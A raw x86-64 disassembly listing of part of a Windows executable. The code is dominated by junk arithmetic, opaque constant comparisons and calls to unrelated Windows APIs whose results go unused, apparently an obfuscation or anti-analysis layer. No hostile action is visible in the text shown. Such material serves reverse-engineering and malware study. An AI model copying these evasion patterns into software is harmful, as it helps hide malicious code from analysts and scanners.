mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x2848]
mov qword [rcx], rax
mov rax, qword [rsp + 0x28b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x14e0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2878]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2a88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x24e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2800], rax
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xab]
xor eax, ecx
mov rcx, qword [rsp + 0x2a58]
mov byte [rcx], al
movsx eax, byte [rsp + 0xac]
movsx ecx, byte [rsp + 0xaa]
or eax, ecx
mov rcx, qword [rsp + 0x2900]
mov byte [rcx], al
mov rax, qword [rsp + 0x2940]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5cc]
sar eax, cl
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2a58]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0x27c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2948]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2818]
mov word [rcx], ax
movsx eax, byte [rsp + 0xaa]
movsx ecx, byte [0x1400b9e10]
add eax, ecx
mov byte [rsp + 0xac], al
mov rax, qword [rsp + 0x2888]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x25f0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x27e0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1460]
mov ecx, dword [rsp + 0x152c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x28d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2928]
mov rcx, qword [rsp + 0x29d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x142c], eax
mov rax, qword [rsp + 0x2840]
mov rcx, qword [rsp + 0x28b8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x2a88]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xa8]
mov rcx, qword [rsp + 0x2a58]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
movsx eax, word [rsp + 0x5cc]
movsx ecx, word [0x1400b9010]
sub eax, ecx
mov rcx, qword [rsp + 0x2940]
mov word [rcx], ax
movzx eax, word [rsp + 0x5c8]
mov rcx, qword [rsp + 0x2818]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2978]
mov word [rcx], ax
jmp 0x14000a171
mov rax, qword [rsp + 0x28e0]
movzx eax, byte [rax]
mov byte [rsp + 0xad], al
mov rax, qword [rsp + 0x2918]
mov rcx, qword [rsp + 0x28e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x2a38]
mov rdx, qword [rsp + 0x28d0]
mov edx, dword [rdx]
mov ecx, dword [rcx]
xor ecx, edx
cmp eax, ecx
je 0x14000a6c4
mov rax, qword [rsp + 0x29d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2978]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x27f8]
mov word [rcx], ax
mov ecx, 0xd0
call qword [sym.imp.USER32.dll_GetKeyboardType]
mov dword [rsp + 0x143c], eax
jmp 0x14000a7e4
movzx eax, byte [rsp + 0xa8]
movzx ecx, byte [rsp + 0xab]
sar eax, cl
mov rcx, qword [rsp + 0x28c0]
movzx ecx, byte [rcx]
mov dword [rsp + 0x15a4], ecx
movzx edx, byte [rsp + 0xa9]
movzx ecx, dl
mov edx, dword [rsp + 0x15a4]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x14000a7e4
mov rax, qword [rsp + 0x2888]
mov rcx, qword [rsp + 0x25f0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x2848]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xa8]
mov byte [rsp + 0x15a8], al
cmp byte [rsp + 0x15a8], 0x37
je 0x14000a753
cmp byte [rsp + 0x15a8], 0x39
je 0x14000a7de
jmp 0x14000a7e4
mov eax, dword [rsp + 0x1558]
mov ecx, dword [rsp + 0x153c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1488], eax
mov rax, qword [rsp + 0x2930]
mov rcx, qword [rsp + 0x28b8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x2930]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xaa]
movsx ecx, byte [rsp + 0xad]
sub eax, ecx
mov byte [0x1400b9e10], al
lea rax, [rsp + 0x5bc]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x27f0]
lea r8, [rsp + 0x2a78]
mov edx, 0xfe
mov rcx, qword [rsp + 0x2ad8]
call qword [sym.imp.KERNEL32.dll_GetTapePosition]
mov dword [rsp + 0x153c], eax
jmp 0x14000a7e4
call fcn.14009fa10
nop
cmp dword [rsp + 0x1428], 0xe2fe
jae 0x14000ad3f
mov rax, qword [rsp + 0x2a58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x28c0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0x29c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xaa]
add eax, ecx
mov byte [rsp + 0xad], al
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2a58]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xa9], al
movsx eax, word [rsp + 0x5bc]
movsx ecx, word [rsp + 0x5cc]
add eax, ecx
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
mov eax, dword [rsp + 0x1428]
add eax, 0xe9
mov dword [rsp + 0x1428], eax
mov rax, qword [rsp + 0x28f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5cc]
sub eax, ecx
mov word [rsp + 0x5b8], ax
mov rax, qword [0x1400b9018]
mov rcx, qword [rsp + 0x28b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2800], rax
mov eax, dword [rsp + 0x1460]
mov rcx, qword [rsp + 0x28e8]
mov qword [rsp + 0x2ae0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2ae0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x14f8], eax
mov rax, qword [rsp + 0x2848]
mov rcx, qword [0x1400b9008]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x27e0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xaa]
movsx ecx, byte [rsp + 0xad]
xor eax, ecx
mov byte [0x1400b9e10], al
movsx eax, word [rsp + 0x5bc]
mov rcx, qword [rsp + 0x2980]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
movzx eax, byte [0x1400b9004]
movzx ecx, byte [rsp + 0xab]
and eax, ecx
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0x27f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x27c8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2948]
mov word [rcx], ax
movsx eax, byte [rsp + 0xad]
movsx ecx, byte [rsp + 0xac]
add eax, ecx
mov byte [rsp + 0xaa], al
movzx eax, word [rsp + 0x5c0]
mov rcx, qword [rsp + 0x2818]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x5d4], ax
mov rax, qword [rsp + 0x2878]
mov rcx, qword [rsp + 0x2928]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x142c], eax
mov eax, dword [rsp + 0x1564]
mov ecx, dword [rsp + 0x1460]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x152c], eax
mov rax, qword [rsp + 0x2970]
mov rcx, qword [rsp + 0x2930]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x28b8], rax
mov rax, qword [rsp + 0x27e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x25f0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2848]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2810]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5b8]
add eax, ecx
mov rcx, qword [rsp + 0x2940]
mov word [rcx], ax
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xab]
sar eax, cl
mov rcx, qword [rsp + 0x2a58]
mov byte [rcx], al
movzx eax, word [rsp + 0x5c4]
mov rcx, qword [rsp + 0x2978]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x5c8], ax
mov rax, qword [rsp + 0x29c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xac]
or eax, ecx
mov rcx, qword [rsp + 0x29c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x2940]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x28f8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x2980]
mov word [rcx], ax
mov rax, qword [rsp + 0x28f0]
mov rcx, qword [rsp + 0x2a28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x24e0], rax
mov rax, qword [rsp + 0x2848]
mov rcx, qword [rsp + 0x2888]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x25f0], rax
mov eax, dword [rsp + 0x14e0]
mov ecx, dword [rsp + 0x142c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x143c], eax
mov rax, qword [rsp + 0x2a38]
mov ecx, dword [rsp + 0x152c]
mov eax, dword [rax]
add eax, ecx
mov dword [section..data], eax
movsx eax, byte [rsp + 0xaa]
movsx ecx, byte [rsp + 0xac]
sub eax, ecx
mov rcx, qword [rsp + 0x2900]
mov byte [rcx], al
movzx eax, word [rsp + 0x5d4]
movzx ecx, word [rsp + 0x404]
add eax, ecx
mov rcx, qword [rsp + 0x29d8]
mov word [rcx], ax
movzx eax, word [rsp + 0x5c4]
mov rcx, qword [rsp + 0x2978]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x5d4], ax
movsx eax, word [rsp + 0x5b8]
mov rcx, qword [rsp + 0x2940]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2980]
mov word [rcx], ax
mov rax, qword [rsp + 0x29c8]
movsx eax, byte [rax]
movsx ecx, byte [0x1400b9e10]
add eax, ecx
mov byte [rsp + 0xaa], al
mov rax, qword [rsp + 0x2a40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x14e0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2878]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2930]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x28b8]
shl rax, cl
mov rcx, qword [rsp + 0x2840]
mov qword [rcx], rax
mov rax, qword [rsp + 0x28e8]
mov ecx, dword [rsp + 0x1544]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x28e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2888]
mov rcx, qword [rsp + 0x27e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [0x1400b9008], rax
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
sar eax, cl
mov byte [rsp + 0xab], al
movzx eax, word [rsp + 0x404]
mov rcx, qword [rsp + 0x2948]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x5c8], ax
mov rax, qword [rsp + 0x28f8]
movsx eax, word [rax]
movsx ecx, word [0x1400b9010]
add eax, ecx
mov rcx, qword [rsp + 0x2940]
mov word [rcx], ax
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa8]
and eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2a58]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xab], al
mov rax, qword [rsp + 0x28f0]
mov rcx, qword [0x1400b9018]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2a28], rax
mov rax, qword [rsp + 0x2848]
mov rcx, qword [rsp + 0x2888]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x27a8], rax
mov rax, qword [rsp + 0x28d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1544]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1564], eax
jmp 0x14000a7e4
mov rax, qword [rsp + 0x2840]
mov rax, qword [rax]
mov qword [0x1400b9e18], rax
mov rax, qword [rsp + 0x28b8]
mov qword [rsp + 0x2ae8], rax
movabs rax, 0x5ecca0df5c760c1f
cmp qword [rsp + 0x2ae8], rax
je 0x14000ad7a
jmp 0x14000ae5c
mov rax, qword [rsp + 0x2878]
mov eax, dword [rax]
mov dword [rsp + 0x15ac], eax
cmp dword [rsp + 0x15ac], 0x25eab1f4
je 0x14000adaa
cmp dword [rsp + 0x15ac], 0x573ad104
je 0x14000ade5
jmp 0x14000ae5a
mov rax, qword [rsp + 0x2a40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x143c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x29d0]
mov dword [rcx], eax
lea rdx, [rsp + 0xac]
mov ecx, 0x89
call qword [sym.imp.USER32.dll_GetGUIThreadInfo]
mov dword [rsp + 0x1478], eax
jmp 0x14000ae5a
mov rax, qword [rsp + 0x29c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xad]
sub eax, ecx
mov byte [rsp + 0xac], al
movzx eax, word [rsp + 0x404]
movzx ecx, word [rsp + 0x5c0]
sub eax, ecx
mov rcx, qword [rsp + 0x29d8]
mov word [rcx], ax
lea rdx, [rsp + 0x2980]
mov rcx, qword [rsp + 0x2a48]
call qword [sym.imp.USER32.dll_GetWindowRgnBox]
mov dword [rsp + 0x14e0], eax
mov rax, qword [rsp + 0x29c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xaa]
sub eax, ecx
mov rcx, qword [rsp + 0x28e0]
mov byte [rcx], al
jmp 0x14000aea4
mov rax, qword [rsp + 0x2a58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x28c0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x5e], al
movsx eax, word [0x1400b9010]
mov rcx, qword [rsp + 0x2980]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x5cc], ax
lea rax, [rsp + 0x14e0]
mov qword [rsp + 0x2af0], rax
mov rax, qword [rsp + 0x2888]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2808]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x27e0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1564]
movzx ecx, al
mov eax, dword [rsp + 0x1558]
shr eax, cl
mov dword [section..data], eax
mov rax, qword [rsp + 0x2930]
mov rcx, qword [rsp + 0x2800]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x2a88]
mov qword [rcx], rax
movzx eax, word [rsp + 0x404]
mov rcx, qword [rsp + 0x27c8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2948]
mov word [rcx], ax
mov eax, dword [rsp + 0x1588]
add eax, 0x20
mov dword [rsp + 0x1588], eax
movsx eax, word [rsp + 0x5bc]
mov rcx, qword [rsp + 0x2810]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x5cc], ax
mov rax, qword [rsp + 0x2a58]
movzx eax, byte [rax]
movzx ecx, byte [0x1400b9004]
and eax, ecx
mov rcx, qword [rsp + 0x2a58]
mov byte [rcx], al
movsx eax, byte [rsp + 0xaa]
movsx ecx, byte [rsp + 0xac]
sub eax, ecx
mov rcx, qword [rsp + 0x29c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
add eax, ecx
mov rcx, qword [rsp + 0x2a58]
mov byte [rcx], al
mov eax, dword [rsp + 0x153c]
mov ecx, dword [rsp + 0x14d8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2a38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2888]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2808]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x25f0], rax
mov rax, qword [rsp + 0x2a40]
mov rcx, qword [rsp + 0x2af0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x2a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x24e0]
mov rcx, qword [rsp + 0x2a28]
or rcx, rax
mov rax, rcx
mov qword [0x1400b9e18], rax
mov rax, qword [rsp + 0x2818]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x404]
sar eax, cl
mov rcx, qword [rsp + 0x29e0]
mov word [rcx], ax
movsx eax, word [rsp + 0x5bc]
mov rcx, qword [rsp + 0x28f8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x5b8], ax
mov rax, qword [rsp + 0x2900]
movsx eax, byte [rax]
movsx ecx, byte [0x1400b9e10]
shl eax, cl
mov rcx, qword [rsp + 0x28e0]
mov byte [rcx], al
movzx eax, word [rsp + 0x404]
mov rcx, qword [rsp + 0x2818]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x5c8], ax
mov rax, qword [rsp + 0x2a58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x28c0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa8], al
mov rax, qword [rsp + 0x29d0]
mov rcx, qword [rsp + 0x28b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x2a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x28e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x152c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2918]
mov dword [rcx], eax
mov rax, qword [0x1400b9018]
mov rcx, qword [rsp + 0x28f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2800], rax
mov rax, qword [rsp + 0x25f0]
mov rcx, qword [rsp + 0x27a8]
and rcx, rax
mov rax, rcx
mov qword [0x1400b9008], rax
movsx eax, byte [rsp + 0xaa]
mov rcx, qword [rsp + 0x29c8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2900]
mov byte [rcx], al
movsx eax, word [rsp + 0x5cc]
mov rcx, qword [rsp + 0x2810]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2980]
mov word [rcx], ax
movsx eax, byte [rsp + 0xad]
mov rcx, qword [rsp + 0x2900]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x28e0]
mov byte [rcx], al
movsx eax, word [rsp + 0x5cc]
movsx ecx, word [rsp + 0x5b8]
sub eax, ecx
mov word [rsp + 0x5bc], ax
mov rax, qword [rsp + 0x29e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2978]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x5d4], ax
mov rax, qword [rsp + 0x2808]
mov rcx, qword [rsp + 0x2848]
mov qword [rsp + 0x2af8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2af8]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x2888]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2a38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x14f8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2918]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2878]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x143c]
shl eax, cl
mov dword [rsp + 0x14e0], eax
mov rax, qword [rsp + 0x2930]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2800]
and rcx, rax
mov rax, rcx
mov qword [0x1400b9018], rax
movsx eax, word [rsp + 0x5cc]
movsx ecx, word [rsp + 0x5b8]
sub eax, ecx
mov rcx, qword [rsp + 0x28f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x2a58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xab]
sub eax, ecx
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0x2978]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5d0]
sub eax, ecx
mov rcx, qword [rsp + 0x2978]
mov word [rcx], ax
mov rax, qword [rsp + 0x29c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2900]
mov byte [rcx], al
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
add eax, ecx
mov rcx, qword [rsp + 0x2a58]
mov byte [rcx], al
mov rax, qword [rsp + 0x27f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2818]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x5c0], ax
mov rax, qword [rsp + 0x2a38]
mov rcx, qword [rsp + 0x2918]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x28e8]
mov dword [rcx], eax
cmp dword [rsp + 0x1588], 0x103f
jbe 0x14000aec8
cmp dword [rsp + 0x1500], 0xe263
ja 0x14000b4f0
mov eax, dword [rsp + 0x142c]
mov ecx, dword [rsp + 0x143c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x14e0], eax
mov rax, qword [rsp + 0x25f0]
mov rcx, qword [0x1400b9008]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x27e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2840]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2930]
mov qword [rsp + 0x2b00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2b00]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x2a88]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xac]
movsx ecx, byte [rsp + 0xaa]
xor eax, ecx
mov rcx, qword [rsp + 0x28e0]
mov byte [rcx], al
mov eax, dword [rsp + 0x1500]
add eax, 0x5e
mov dword [rsp + 0x1500], eax
movsx eax, word [rsp + 0x5b8]
movsx ecx, word [rsp + 0x5bc]
sar eax, cl
mov rcx, qword [rsp + 0x28f8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xa8]
movzx ecx, byte [rsp + 0xa9]
or eax, ecx
mov rcx, qword [rsp + 0x2a58]
mov byte [rcx], al
mov rax, qword [rsp + 0x2900]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xac]
and eax, ecx
mov byte [rsp + 0xad], al
movsx eax, word [rsp + 0x5b8]
mov rcx, qword [rsp + 0x2810]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2980]
mov word [rcx], ax
mov rax, qword [rsp + 0x2a38]
mov rcx, qword [rsp + 0x28d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x2918]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2848]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2808]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x27e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x27e0]
mov rcx, qword [rsp + 0x2848]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1400b9008], rax
mov rax, qword [rsp + 0x2800]
mov rcx, qword [rsp + 0x24e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2a28], rax
jmp 0x14000b346
mov eax, dword [rsp + 0x14e0]
mov dword [rsp + 0x15b0], eax
cmp dword [rsp + 0x15b0], 0
je 0x14000b51e
cmp dword [rsp + 0x15b0], 0x582b5a34
je 0x14009efc0
jmp 0x14009f02c
mov rax, qword [rsp + 0x28f0]
cqo
mov rcx, qword [rsp + 0x2970]
idiv qword [rcx]
mov rcx, qword [rsp + 0x2930]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x28b8]
or rdx, rcx
mov rcx, rdx
cmp rax, rcx
jg 0x14000b649
lea rax, [rsp + 0x2970]
mov qword [rsp + 0x20], rax
mov r9d, 0xe
lea r8, [rsp + 0x2b08]
mov edx, 0x12
mov rcx, qword [rsp + 0x2850]
call sub.WINSPOOL.DRV_GetPrinterW
mov dword [rsp + 0x1478], eax
movzx eax, word [rsp + 0x5d0]
mov rcx, qword [rsp + 0x29e0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x29d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x2918]
mov eax, dword [rax]
mov dword [rsp + 0x15b4], eax
cmp dword [rsp + 0x15b4], 0x2dcf2283
je 0x14000b5d6
cmp dword [rsp + 0x15b4], 0xd40da2fb
je 0x14000b62a
jmp 0x14000b649
movsx eax, word [0x1400b9010]
movsx ecx, word [rsp + 0x5b8]
shl eax, cl
mov word [rsp + 0x5cc], ax
mov rax, qword [rsp + 0x27e0]
mov rcx, qword [rsp + 0x2888]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x27e0]
mov qword [rcx], rax
lea rcx, [rsp + 0x27e0]
call qword [sym.imp.USER32.dll_GetClipCursor]
mov dword [rsp + 0x1420], eax
jmp 0x14000b649
mov rax, qword [rsp + 0x28d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1544]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2a38]
mov dword [rcx], eax
lea rax, [rsp + 0x152c]
mov qword [0x1400b9e20], rax
mov rax, qword [rsp + 0x2878]
mov eax, dword [rax]
mov dword [rsp + 0x15b8], eax
mov rax, qword [rsp + 0x2928]
mov eax, dword [rax]
mov dword [rsp + 0x15bc], eax
cmp dword [rsp + 0x15bc], 0
je 0x14000b686
jmp 0x14000b6dc
mov rax, qword [rsp + 0x2930]
mov rcx, qword [rsp + 0x2a88]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x2930]
mov qword [rcx], rax
movzx eax, word [rsp + 0x5c0]
mov rcx, qword [rsp + 0x27c8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x404], ax
lea rax, [rsp + 0x5bc]
mov qword [rsp + 0x2b10], rax
jmp 0x14000b80e
mov rax, qword [rsp + 0x2970]
mov rax, qword [rax]
mov qword [rsp + 0x2b18], rax
movabs rax, 0x23633231c37f9075
cmp qword [rsp + 0x2b18], rax
je 0x14000b720
movabs rax, 0x6f4fa638172366bb
cmp qword [rsp + 0x2b18], rax
je 0x14000b7ee
jmp 0x14000b80e
movsx eax, byte [rsp + 0xac]
movsx ecx, byte [rsp + 0xaa]
sub eax, ecx
movsx ecx, byte [rsp + 0xad]
mov rdx, qword [rsp + 0x29c8]
movsx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jne 0x14000b79c
movsx eax, byte [rsp + 0xad]
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xac], al
movzx eax, byte [rsp + 0xa9]
mov rcx, qword [rsp + 0x2a58]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
movzx eax, byte [rsp + 0xa8]
movzx ecx, byte [rsp + 0xa9]
add eax, ecx
mov byte [rsp + 0x5e], al
lea rax, [rsp + 0xe740]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x8e
lea r9, [rsp + 0xad]
mov r8d, 0x8e
mov rdx, qword [rsp + 0x2880]
mov rcx, qword [rsp + 0x2b20]
call sub.WINSPOOL.DRV_GetFormW
mov dword [rsp + 0x15c0], eax
mov rax, qword [rsp + 0x28c0]
movzx ecx, byte [rax]
call fcn.1400a0b80
nop
jmp 0x14000b80e
mov rax, qword [rsp + 0x2a38]
mov rcx, qword [rsp + 0x28e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x2a38]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xac]
mov byte [rsp + 0x15c4], al
cmp byte [rsp + 0x15c4], 0
je 0x14000b82c
jmp 0x14009ef04
mov rax, qword [rsp + 0x27c8]
movzx eax, word [rax]
mov dword [rsp + 0x15c8], eax
cmp dword [rsp + 0x15c8], 0
je 0x14000b85e
cmp dword [rsp + 0x15c8], 0x2fb
je 0x14000b967
jmp 0x14000ba81
movzx eax, byte [rsp + 0xaa]
mov byte [rsp + 0x15cc], al
cmp byte [rsp + 0x15cc], 0
je 0x14000b87c
jmp 0x14000b8fe
mov rax, qword [rsp + 0x25f0]
mov rcx, qword [rsp + 0x2848]
mov qword [rsp + 0x2b28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2b28]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x2888]
mov qword [rcx], rax
lea rax, [rsp + 0xaa]
mov qword [rsp + 0x2b30], rax
mov rax, qword [rsp + 0x2a58]
